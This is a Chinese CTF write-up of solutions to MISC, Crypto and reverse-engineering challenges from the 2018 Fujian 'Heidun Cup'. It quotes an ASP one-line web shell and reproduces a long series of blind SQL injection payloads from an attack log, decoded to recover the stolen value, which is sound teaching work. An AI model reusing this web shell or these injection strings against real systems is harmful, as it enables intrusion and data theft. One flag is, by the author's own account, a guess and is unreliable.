【2018福建省“黑盾杯”】部分解題思路

由於我沒有參加比賽,所以WEB部分沒有辦法解題

MISC

題目:CCGS

打開網頁

 

 使用binwalk進行分析

發現圖片文件還藏着zip文件,提取出來,但是文件中的文字很多,用notepad++都卡,目測是Base64編碼,所以寫腳本解密之後保存文件:

import base64

fp = open("secret.txt","r")
fp1 = open("secret.png","wb")
secret = fp.read()
#print secret
s1 = base64.b64decode(secret)
s1 = base64.b64decode(s1)
fp1.write(s1)
print
print "[+] Png write success"
fp1.close()
fp.close()

嗯,小姐姐還是挺好看的

 

題目:spartacus

這題是原題  

 

 

<%execute request("images")%>,這個是一句話木馬,然後用SHA1加密一下提交即可

好無趣

題目:TheSameInside

打開wireshark,追蹤TCP流,看到裏面有個數據包是在上傳壓縮文件的,所以把上傳的數據導出來:

打開content.xml文件,看到裏面實際上還有另一個壓縮文件:

把 這些數據導出來,看到是一個pyc腳本:

逆向PYC之後看到如下源碼:

# File: F (Python 2.7)

from sys import exit

def gold_room():
    print 'This room is full of gold. How much do you take?'
    next = raw_input('> ')
    if '0' in next or '1' in next:
        how_much = int(next)
    else:
        dead('Man, learn to type a number.')
    if how_much < 50:
        print 'You win VGVsbCB5b3UgYXJndj1mbGFn!'
        exit(0)
    else:
        dead('You greedy bastard!')


def bear_room():
    print 'There is a bear here.'
    print 'The bear has a bunch of honey.'
    print 'The fat bear is in front of another door.'
    print 'How are you going to move the bear?'
    bear_moved = False
    while True:
        next = raw_input('> ')
        if next == 'take honey':
            dead('The bear looks at you then slaps your face off.')
            continue
        if next == 'taunt bear' and not bear_moved:
            print 'The bear has moved from the door. You can go through it now.'
            bear_moved = True
            continue
        if next == 'taunt bear' and bear_moved:
            dead('The bear gets pissed off and chews your leg off.')
            continue
        if next == 'open door' and bear_moved:
            gold_room()
            continue
        print 'I got no idea what that means.'


def cthulhu_room():
    print 'Here you see the great evil Cthulhu.'
    print 'He, it, whatever stares at you and you go insane.'
    print 'Do you flee for your life or eat your head?'
    next = raw_input('> ')
    if 'flee' in next:
        start()
    elif 'head' in next:
        dead('Well that was tasty!')
    else:
        cthulhu_room()


def dead(why):
    print why, 'Good job!'
    exit(0)


def start():
    print 'You are in a dark room.'
    print 'There is a door to your right and left.'
    print 'Which one do you take?'
    next = raw_input('> ')
    if next == 'left':
        bear_room()
    elif next == 'right':
        cthulhu_room()
    else:
        dead('You stumble around the room until you starve.')

start()

找到裏面的“ print 'You win VGVsbCB5b3UgYXJndj1mbGFn!'”,用base64解密後一半的字符串,發現是一個暗示

 到這步卡了很久,跟其他幾個大佬討論了一下,說是用十六進制編輯器打開,查找關鍵字argv,然後後面那串字符帶入即可:

後面出題人自己出來說是單表置換,所以解出來得可能是

我暫時認爲flag就是 flag is How dogs is

所以出題人是戀愛了?然後再嘲諷一波單身狗?

題目:注入日誌分析

用notepad++打開,發現是訪問的日誌

這裏內容比較多,而且無效的信息也比較多,所以用py寫了一個腳本,只篩選處訪問的參數以及是否報錯,同時也進行url解碼

# coding: utf8

import urllib

fp = open("data.log","r")
fp1 = open("data_se.log","w")
for i in fp.readlines():
    # 跳過註釋
    if i[0] == "#":
        continue
    # 截取訪問的資源和訪問的參數
    reqs = i.split(" ")
    decode_s = urllib.unquote(reqs[6])
    print "[*]",decode_s
    fp1.write(decode_s+"\n")
print "[+] write ok"



fp1.close()
fp.close()

因爲這裏需要知道攻擊者拿了哪些東西,所以只要知道他從最總的目標表中dump出什麼東西,所以只要從後面開始找是否存在明顯的表名就可以了。

很明顯的是,攻擊者從theflag表中dump出了數據。

重點關注跟theflag有關的日誌:

id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>64|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>32
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>48
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>56|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>52
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>54|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>53|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>64|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>32
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>48
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>56|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>52|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>50|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>49
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>64
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>96
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>112|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>104|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>100|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>98
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>99|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>64|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>32
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>48
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>56|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>52
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>54|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>53
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>64
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>96
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>112|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>104|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>100
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>102|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>101
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>64|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>32
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>48
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>56|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>52|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>50|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>49|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>64
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>96
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>112|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>104|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>100|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>98
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>99
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>64|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>32
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>48
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>56|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>52
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>54|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>53
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>64|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>32|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>16|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>8|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>4|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>2|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
id=2 AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),33,1))>1|18|800a0bcd|BOF_或_EOF_中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。

 賽選的原則就是如果表達式邏輯正確,就不會顯示中文報錯提示

最後得到:53,99,54,102,49,100,54

解碼得到:5c6f1d6

Crypto

題目:這是啥呀?

MZWGCZ33MM4GENJVHBRDSNJUGAYTSOBVGZTDAYRQGIZTINLEMMZTSNJVHBRX2===

很明顯的Base32編碼特徵:全大寫字母+數字+等號

直接base32解碼得到flag:flag{c8b558b954019856f0b02345dc39558c}

題目:brightstar

snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees

key: howarey

Columnar Transposition Cipher

嗯,我就喜歡簡單粗暴的,直接說這是列位移密碼,具體的規則如下:

所以flag:ltisofteninthedarkestskiesthatweseebrighteststarts

RE

題目:reverseMe

用IDA還原僞代碼:

__int64 __cdecl main_0()
{
  int v0; // edx
  __int64 v1; // ST00_8
  int v3; // [esp+0h] [ebp-1A0h]
  const char **v4; // [esp+4h] [ebp-19Ch]
  const char **v5; // [esp+8h] [ebp-198h]
  int v6; // [esp+Ch] [ebp-194h]
  int i; // [esp+D4h] [ebp-CCh]
  int v8; // [esp+E0h] [ebp-C0h]
  int v9; // [esp+ECh] [ebp-B4h]
  int v10; // [esp+F0h] [ebp-B0h]
  int v11; // [esp+F4h] [ebp-ACh]
  int v12; // [esp+F8h] [ebp-A8h]
  int v13; // [esp+FCh] [ebp-A4h]
  int v14; // [esp+100h] [ebp-A0h]
  int v15; // [esp+104h] [ebp-9Ch]
  int v16; // [esp+108h] [ebp-98h]
  int v17; // [esp+10Ch] [ebp-94h]
  int v18; // [esp+110h] [ebp-90h]
  int v19; // [esp+114h] [ebp-8Ch]
  int v20; // [esp+118h] [ebp-88h]
  int v21; // [esp+11Ch] [ebp-84h]
  int v22; // [esp+120h] [ebp-80h]
  int v23; // [esp+124h] [ebp-7Ch]
  int v24; // [esp+128h] [ebp-78h]
  int v25; // [esp+12Ch] [ebp-74h]
  int v26; // [esp+130h] [ebp-70h]
  int v27; // [esp+134h] [ebp-6Ch]
  int v28; // [esp+138h] [ebp-68h]
  int v29; // [esp+13Ch] [ebp-64h]
  int v30; // [esp+140h] [ebp-60h]
  char v31; // [esp+14Fh] [ebp-51h]
  char v32[17]; // [esp+178h] [ebp-28h]
  char v33; // [esp+189h] [ebp-17h]
  char v34; // [esp+18Ah] [ebp-16h]
  char v35; // [esp+18Bh] [ebp-15h]
  char v36; // [esp+18Ch] [ebp-14h]
  char v37; // [esp+18Dh] [ebp-13h]

  v31 = 0;
  v9 = 1;
  v10 = 4;
  v11 = 14;
  v12 = 10;
  v13 = 5;
  v14 = 36;
  v15 = 23;
  v16 = 42;
  v17 = 13;
  v18 = 19;
  v19 = 28;
  v20 = 13;
  v21 = 27;
  v22 = 39;
  v23 = 48;
  v24 = 41;
  v25 = 42;
  v26 = 26;
  v27 = 20;
  v28 = 59;
  v29 = 4;
  v30 = 0;
  printf("plz enter the flag:");
  while ( 1 )
  {
    v6 = getch();
    v32[v31] = v6;
    if ( !(_BYTE)v6 || v32[v31] == 13 )
      break;
    if ( v32[v31] == 8 )
    {
      printf("\b\b");
      --v31;
    }
    else
    {
      printf("%c", v32[v31++]);
    }
  }
  v8 = 0;
  for ( i = 0; i < 17; ++i )
  {
    if ( v32[i] != byte_415768[*(&v9 + i)] )
      v8 = 1;
  }
  if ( v33 != 49 || v34 != 48 || v35 != 50 || v36 != 52 || v37 != 125 )
    v8 = 1;
  v32[v31] = 0;
  printf("\r\n");
  if ( v8 )
  {
    printf("u r wrong\r\n\r\n");
    main(v3, v4, v5);
  }
  else
  {
    printf("u r right!\r\n");
  }
  system("pause");
  HIDWORD(v1) = v0;
  LODWORD(v1) = 0;
  return v1;
}

 這裏看到兩個關鍵的邏輯

1、前面17位必須和byte_415768數組中的相應值相同,而相應值可以在最初變量賦值的時候看到

2、最後5位是“1024}”

 用IDA找到byte_415768

 所以很簡單,所以寫腳本就能算出來

# coding: utf8

s1 = 'IKfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138'
l = [1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42]
tmp = ''
for i in l:
    tmp += s1[i]
tmp += "1024}"
print tmp

 得到結果

PWN

待更

因爲一些事心靜不下來,所以改天再更新

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章